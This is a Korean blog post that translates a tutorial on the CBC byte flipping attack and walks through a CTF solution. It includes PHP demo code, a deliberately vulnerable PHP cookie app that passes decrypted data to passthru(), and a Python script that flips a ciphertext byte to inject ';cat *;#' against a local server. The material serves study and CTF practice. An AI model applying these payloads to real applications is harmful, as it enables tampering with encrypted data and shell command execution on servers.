webhacking/etc

byte flipping attack 문서 번역, 실습

qkqhxla1 2015. 8. 5. 20:23

http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/

문서를 읽어보다가 너무 좋고 예시까지 있는게 이것보다 마음에 드는 페이지를 발견하지 못해서 번역 작성해둡니다. (사실 제 공부목적도 있습니다.) 처음 본 사람이 읽어보면 좋을듯.


(codegate 2015 web 400문제로 출제된 것도 byte flipping attack관련 문제였습니다.)

몇몇 오번역 등은 댓글 적어주시면 수정하겠습니다.




늘 그렇듯이, 이 공격에 대해서 밖에 많은 몇몇 설명이 있습니다.(마지막에는 결국 references를 봅니다.)

하지만 몇몇 지식은 적절하게 이해해야 할 필요가 있습니다. 그래서 여기에 제가 어떻게 작동하는지 한단계씩 설명하겠습니다.


공격의 목적 : 암호화된 문자열(ciphertext)을 깨뜨려서 원래의 문자열(plaintext)을 바꾸기 위해서.


왜 이 공격을 하는지?

싱글 쿼터같은 악의적인 문자열을 필터들을 우회하거나 또는 유저의 아이디를 admin으로 변경함으로서 권한을 상승시키거나, 원래의 문자열(plaintext)을 바꿈으로서 어플리케이션에서 기대하는 또다른 결과물을 위해서(해킹대회 문제를 풀때 등등의 예시라고 보면 되겠습니다.)


소개.

가장 먼저 어떻게 CBC가 동작하는지 이해해봅시다. 자세한 설명은 아래 링크에 나와있습니다.

https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation

하지만 전 단지 공격을 하기위해서 이해해야할게 뭔지만 설명하겠습니다.


암호화 과정.

Plaintext : 암호화될 데이터. (원본 문자열)

IV : 비트의 한 블록이며, 암호를 랜덤화시키는 블록.(salt같은거라고 보면 될거같다.같은 plaintext를 여러번 암호화해도 고유의 ciphertext만 생성되게 만드는 블록. 

Key : AES, Blowfish, DES, 3DES등과 같은 대칭키 암호 알고리즘을 사용하기 위해 쓰인다. (대칭키 알고리즘에 관해서는 알아서 찾아보자.)

Ciphertext : 암호화된 데이터.


중요한 포인트는 여기있다. CBC는 블록이라고 불리는 고정된 길이의 비트블록을 이용한다는것이다.

이 블로그에서는 각각 16바이트의 블록을 사용할 것이다.


내가 수학공식을 싫어하기때문에 아래는 내가 따로 정의한 공식이다.

Ciphertext-0 = Encrypt(Plaintext XOR IV) - 첫번째 블록이다.(plaintext와 iv를 xor한 값을 encrypt한 위 그림의 첫번째 블록이라는 뜻 같네요.)

Ciphertext-N = Encrypt(Plaintext XOR Ciphertext-N-1)-두번째와 나머지 블록이다.(위 그림으로 보면 두,세번째 블록.)

Note : 너가 볼 수 있듯이 전 블록의 암호문(ciphertext)은 다음 암호문을 만들기 위해 사용된다.

Plaintext-0 = Decrypt(Ciphertext) XOR IV = 위 그림의 첫번째 블록.

Plaintext-N = Decrypt(Ciphertext) XOR Ciphertext-N-1 = 바로 위 그림의 두,세번째 블록들.

Note : N-1번째의 Ciphertext(Ciphertext-N-1)는 다음 블록의 plaintext를 생성하기 위해 쓰입니다. 여기서 바이트 플리핑 어택이 가능하다. 만약 우리가 Ciphertext-N-1의 바이트를 바꾸고 XOR을 해서 해독한다면 우리는 다른 원본 문자열(plaintext)를 얻을것이다. 걱정하지마라 아래에 더 자세한 설명이 있다. 그러는 동안에 아래는 공격을 설명하기에 좋은 다이어그램이다.


16바이트 블록의 CBC예시.

우리가 이러한 serialized된 원본 문자열을 가지고 있다고 하자.

a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}

우리의 목표는 s:6의 숫자를 7로 바꾸는것이다. 우리가 해야할 첫번째는 각각의 plaintext들을 16바이트의 덩어리로 나누는것이다.


Block 1: a:2:{s:4:"name";

Block 2: s:6:"sdsdsd";s:8    <-여기가 목표 블록이다.

Block 3: :"greeting";s:20

Block 4: :"echo 'Hello sd

Block 5: sdsd!'";}


우리의 목표는 Block 2에 위치한 문자다. 이것의 의미는, 우리가 Block 2의 plaintext를 바꾸기 위해서는 Block 1의 암호화된 문자열을 바꿔야 한다는 이야기이다.


대충 경험으로 봤을때 당신이 암호화된 문자열에서 바꾼 바이트는 다음 plaintext에서 오직 동일한 위치(바꾼 바이트와 같은 오프셋)에서만 영향을 미칠 것이다. 우리의 목표는 2:의 위치이다. (Block 1에서 2:의 위치가 Block 2에서 바꿔야할 6:위치와 동일하죠.)


[0] = s

[1] = :

[2] = 6 


그러므로 우리는 첫번째 암호 블럭에서 3번째 위치의 바이트를 바꿔야한다.(offset으로 보면 2죠. 0부터 시작하니까.) 아래의 코드에서 볼수 있듯이, 2번째 라인에서 우리는 모든 데이터의 ciphertext를 얻을수 있다. 그러고 3번째 라인에서 Block 1의 offset 2의 바이트를 바꿀 수 있다. 그리고 마지막으로 복호화 함수를 불러볼것이다.


1. $v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";

2. $enc = @encrypt($v);

3. $enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));

4. $b = @decrypt($enc);


이 코드를 돌린 후에 숫자 6이 7로 바뀌었음을 알 수 있다. 

(php 콘솔이 없는분을 위해 아래에 php 소스를 가져왔습니다.)

<?php
	define('MY_AES_KEY', "abcdef0123456789");
	function aes($data, $encrypt) {
		$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
		$iv = "1234567891234567";
		mcrypt_generic_init($aes, MY_AES_KEY, $iv);
		return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
	}
	 
	define('MY_MAC_LEN', 40);
	 
	function encrypt($data) {
		return aes($data, true);
	}
	 
	function decrypt($data) {
		$data = rtrim(aes($data, false), "\0");
		return $data;
	}
	$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
	echo "Plaintext before attack: $v<br />";
	$b = array();
	$enc = array();
	$enc = @encrypt($v);
	$enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
	$b = @decrypt($enc);
	echo "Plaintext AFTER attack : $b\n";
?>

하지만 어떻게 3번째 라인에서 원하는 바이트를 바꿀수 있었을까?(위에서 3번째 라인은

3. $enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7")); 이거였죠.)


위의 복호화 과정에 설명된 바에 따르면 우리는 A = Decrypt(Ciphertext)가 B = Ciphertext-N-1과 XOR해서 최종적으로 C=6을 얻었음을 알 수 있다. 이것은 

C = A XOR B 라는 소리이다.

그러면 우리가 모르는 값은 A이다. XOR로 쉽게 구할수 있다.

A = B XOR C

그리고 최종적으로 A XOR B XOR C는 0과 같다. 이 공식으로 우리는 최종적으로 XOR계산을 통해서 우리의 값을 설정해서 추가할수 있다. 아래와 같다.

A XOR B XOR C XOR "7" 은 우리에게 원본 문자열의 7이 두번째 블록의 offset 2에 있음을 알려준다.

위에 php소스코드가 있으니 복사해서 실습해보자.

7을 A또는 다른것들로 바꿔가면서 잘 동작하는지 시험해보자.


이해를 돕기 위해 이해한 내용 추가.

1. 위에서 암호화에 CBC사용. CBC는 반복해서 암호화를 함.

2. 위의 iv는 16자리니 16개씩 암호화를 함. 그래서 문자열도 16개씩 나눠놨었음.

Block 2의 끝부분 s:8에서 8을 4로 변환하려면???

$enc[15] =  chr(ord($enc[15]) ^ ord("8") ^ ord ("4"));

Block 3의 끝부분 :20에서 0을 7로 변환하려면???

$enc[31] =  chr(ord($enc[31]) ^ ord("0") ^ ord ("7"));

처럼 하면 된다.

Block 1부분은 못바꾸는거 같다.



아래쪽의 ctf문제풀이. 윈도우 apm_setup에서 돌아가도록 억지로 환경을 구성해봤는데, 저 문제의도는 리눅스에서의 의도라서 윈도우에서는 제대로 동작하지 않는다. 공격이 어떻게 동작하는지만 알면 되기에, 결과값이 나올 최소한도로 수정해보았다. (아래에 소스 있음.)


풀이. "echo 'Hello ~입력값'"을 passthru()로 실행하는데, 같은 폴더의 다른 파일안에 flag가 있었나보다. 그래서 결국 입력값에 ';cat *;을 인젝션하는게 목표. 입력하면 escapeshellarg로 감싼후 실행하는데 docs에는 이게 '를 추가한다고 되있는데 윈도우에서 실행해보면 "를 추가한다(왜그런지 모르겠...) 어쨌든 원래의 문제의도처럼 만들어주기 위해 "를 '로 바꿔버렸다.(그래도 달라지는건 별로 없었네요;;) 


내가 '를 입력하면 ''로 감싸지기 때문에 '를 인젝션할수가 없다는게 문제의 포인트이다.(아래 소스는 보여주기식이라서 다르게 동작함) 그러면 '를 그냥 '로 입력해서 인젝션(?)하는게 아니라 byte flipping attack로 '로 바꿔야 하는데, 문제를 푼 사람은 zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz를 인젝션 후 X를 '로 바꾸기로 생각했나보다. 결과물을 가져와서 iv값이 16개이므로 16개씩 쪼갰다. 그러면


#a:2:{s:4:"name";

#s:42:"zzzzzzzzzz #여기서부터 0~16. 위의 Block들로 나눈 경우도 두번째부터 변경 가능하다고 했었음.

#zzzzzzzX;cat *;# 

#zzzzzzzzzzzzzzzz 

#";s:8:"greeting"

#;s:56:"echo 'Hel

#lo zzzzzzzzzzzzz

#zzzzX;cat *;#zzz #X의 offset는 100.

#zzzzzzzzzzzzz!'"

#;}


이렇게 덩어리가 나오는데, 위에 Block들의 경우와 비교해서 X의 위치를 계산해보면 100번째 위치이다.(위에 적어놨다.) 100번째 값을 '로 바꾸면 제대로 인젝션(?)이 된다. 내맘대로 바꾼 코드는 맨 아래에 있다.


저리저리하여 소스를 실행하면 

빨간색 부분에 잘 인젝션됬음을 확인할수 있다. 아래 파이썬소스의 pos값을 바꿔가면서 실행해보자. 다른 pos의 경우에는 전부 X;cat *가 발견된다.(X가 변경되지 않았음.) 


제대로 공부하기 위해서는 z의 갯수를 변경시킨다음 16개씩 나눠서 pos를 계산하고, 바뀌는지까지 다시 하나하나 해보는게 좋을거같다.


index.php 

<?php
ini_set('display_errors',1);
error_reporting(E_ALL);
 
define('MY_AES_KEY', "abcdef0123456789");
define('MY_HMAC_KEY',"1234567890123456" );
#define("FLAG","CENSORED");
 
function aes($data, $encrypt) {
    $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
    $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);
    $iv = "1234567891234567";
    mcrypt_generic_init($aes, MY_AES_KEY, $iv);
    return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}
 
define('MY_MAC_LEN', 40);
 
function hmac($data) {
    return hash_hmac('sha1', data, MY_HMAC_KEY);
}
 
function encrypt($data) {
    return aes($data . hmac($data), true);
}
 
function decrypt($data) {
    $data = rtrim(aes($data, false), "\0");
    $mac = substr($data, -MY_MAC_LEN);
    $data = substr($data, 0, -MY_MAC_LEN);
    return hmac($data) === $mac ? $data : null;
}
$settings = array();
if (@$_COOKIE['settings']) {
        echo @decrypt(base64_decode($_COOKIE['settings']));
        $settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
}
if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
    $settings = array(
            'name' => $_POST['name'],
            'greeting' => ('echo ' . str_replace('"',"'",escapeshellarg("Hello {$_POST['name']}!"))),
    );
    setcookie('settings', base64_encode(@encrypt(serialize($settings))));
    #setcookie('settings', serialize($settings));
}
$d = array();
if (@$settings['greeting']) {
    passthru($settings['greeting']);}
else {
    echo "</pre>
<form action=index.php method=POST>\n";
 echo "
 What is your name?
 
\n";
 echo "<input type=text name=name />\n";
 echo "<input type=submit name=submit value=Submit />\n";
 echo "</form>
<pre>
\n";
}
?>

내 서버를 파이썬으로 공격할때 소스.

# -*- encoding: cp949 -*-
import urllib2
import sys
import urllib
from base64 import b64decode as dec
from base64 import b64encode as enc
 
#a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}
#a:2:{s:4:"name";
#s:42:"zzzzzzzzzz
#zzzzzzzX;cat *;#
#zzzzzzzzzzzzzzzz
#";s:8:"greeting"
#;s:56:"echo 'Hel
#lo zzzzzzzzzzzzz
#zzzzX;cat *;#zzz
#zzzzzzzzzzzzz!'"
#;}
exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success
req = urllib2.Request('http://127.0.0.1/','name='+exploit)
p = urllib2.urlopen(req)
cookie = p.headers.get('set-cookie')

cookie = dec(urllib.unquote_plus(cookie[9:]))#GetCookie(exploit)
#print cookie
#for i in range(len(cookie)):
#    if cookie[i]=='X':
#        print i

pos = 100
val = chr(ord(cookie[pos]) ^ ord('X') ^ ord("'"))

exploit = cookie[0:pos] + val + cookie[pos + 1:]
exploit = urllib.quote_plus(enc(exploit))
req = urllib2.Request('http://127.0.0.1/')
req.add_header('cookie','settings='+exploit)
page = urllib2.urlopen(req).read()
print page